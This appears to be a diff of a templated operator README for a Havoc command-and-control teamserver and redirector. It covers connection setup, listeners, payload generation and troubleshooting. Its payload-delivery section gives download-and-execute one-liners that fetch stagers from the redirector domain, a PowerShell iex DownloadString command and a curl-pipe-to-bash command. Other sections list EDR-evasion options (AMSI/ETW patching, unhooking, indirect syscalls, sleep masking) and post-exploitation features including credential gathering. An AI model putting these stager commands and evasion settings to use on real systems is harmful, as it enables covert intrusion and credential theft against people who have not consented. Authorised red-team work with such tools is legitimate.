Domain: {{ redirector_domain }} -Teamserver Port: 40056 -Admin Password: Stored in /opt/havoc/data/profiles/default.yaotl +Teamserver Port: {{ havoc_teamserver_port | default(40056) }} +HTTP Listener Port: {{ havoc_http_port | default(8080) }} +HTTPS Listener Port: {{ havoc_https_port | default(443) }} +Admin User: {{ havoc_admin_user | default('admin') }} +Admin Password: Stored in /root/Tools/havoc/data/profiles/default.yaotl CONNECTING TO THE TEAMSERVER --------------------------- -From your local machine, you should: +From your local machine: -1. Make sure Havoc client is installed on your operator system -2. Connect to the Teamserver: +1. Make sure Havoc client (dev branch) is installed: + $ git clone -b dev https://github.com/HavocFramework/Havoc.git + $ cd Havoc/Client + $ mkdir build && cd build + $ cmake -GNinja .. + $ ninja + +2. Connect to the Teamserver via GUI: - Host: {{ c2_ip }} - - Port: 40056 - - User: admin - - Password: See /opt/havoc/data/profiles/default.yaotl + - Port: {{ havoc_teamserver_port | default(40056) }} + - User: {{ havoc_admin_user | default('admin') }} + - Password: See /root/Tools/havoc/data/profiles/default.yaotl -Note: You can use the team server CLI with: -$ havoc-teamserver client --username admin --password Your_Password +3. CLI Connection: + $ ./havoc client --address {{ c2_ip }}:{{ havoc_teamserver_port | default(40056) }} --username {{ havoc_admin_user | default('admin') }} --password [password] LISTENERS -------- Two default listeners are configured: -- HTTP on port 8080 -- HTTPS on port 443 (through the redirector) +- HTTP on port {{ havoc_http_port | default(8080) }} +- HTTPS on port {{ havoc_https_port | default(443) }} (through the redirector) -You can view and manage listeners through the Havoc client. +To view and manage listeners: Attack → Listeners in the Havoc client. GENERATING PAYLOADS ----------------- -Pre-generated payloads are available in: -- /opt/havoc/payloads/ +Pre-generated payloads are available in /root/Tools/havoc/payloads/ -For new payloads: -1. Connect to the Teamserver using the Havoc client +To generate new payloads: +1. Connect to the Teamserver 2. Navigate to Attack → Payload -3. Choose your payload options and generate +3. Select the listener (HTTPS recommended) +4. Choose architecture, format, and evasion options +5. For enhanced evasion: Enable indirect syscalls, stack spoofing, and sleep mask PAYLOAD DELIVERY -------------- -Payloads can be delivered through: -- HTTP server at {{ c2_ip }}:8443 -- Through the redirector at {{ redirector_domain }} - PowerShell one-liner: powershell -exec bypass -c "iex(New-Object Net.WebClient).DownloadString('https://{{ redirector_domain }}/windows_stager.ps1')" @@ -57,21 +63,50 @@ curl -s https://{{ redirector_domain }}/linux_stager.sh | bash OPERATIONAL SECURITY ------------------ -- All connections go through the redirector -- Sleep times of agents are randomized (5s default with 30% jitter) -- Havoc is configured with numerous EDR evasion features -- Anti-forensics measures are enabled in all payloads +- All connections are routed through the redirector +- Payload customization includes: + * Sleep time: {{ havoc_sleep | default(5) }} seconds with {{ havoc_jitter | default(30) }}% jitter + * EDR unhooking techniques + * AMSI/ETW patching + * Indirect syscalls + * Sleep masking with technique: {{ havoc_sleep_mask_technique | default(0) }} + +ADVANCED FEATURES (DEV BRANCH) +---------------------------- +- Enhanced memory scanner evasion +- PPID spoofing capabilities +- Reflective DLL loading improvements +- EDR hook detection and avoidance +- Process token manipulation +- Registry persistence options + +POST-EXPLOITATION +--------------- +For post-exploitation, Havoc offers: + +1. BOF (Beacon Object Files) support +2. Integrated command & control modules +3. File system operations +4. Process injection & manipulation +5. Credential gathering capabilities + +SERVER MANAGEMENT +--------------- +- Havoc Teamserver service: systemctl status havoc +- Service configuration: /etc/systemd/system/havoc.service +- Configuration profiles: /root/Tools/havoc/data/profiles/ TROUBLESHOOTING -------------- -1. If agents can't connect: +1. Agent connection issues: - Verify DNS for {{ redirector_domain }} points to your redirector - - Check NGINX configuration on the redirector - - Ensure ports 8080 and 443 are open on respective servers + - Check nginx configuration on the redirector + - Confirm ports {{ havoc_http_port | default(8080) }} and {{ havoc_https_port | default(443) }} are open -2. If Havoc Teamserver isn't responding: - - Check service status: systemctl status havoc +2. Teamserver issues: + - Check service: systemctl status havoc - View logs: journalctl -u havoc - Restart if needed: systemctl restart havoc -3. Use the health command in Havoc client to check Teamserver health \ No newline at end of file +3. Use Havoc client CLI debugging: + ./havoc client --address {{ c2_ip }}:{{ havoc_teamserver_port | default(40056) }} --username {{ havoc_admin_user | default('admin') }} --password [password] --debug \ No newline at end of file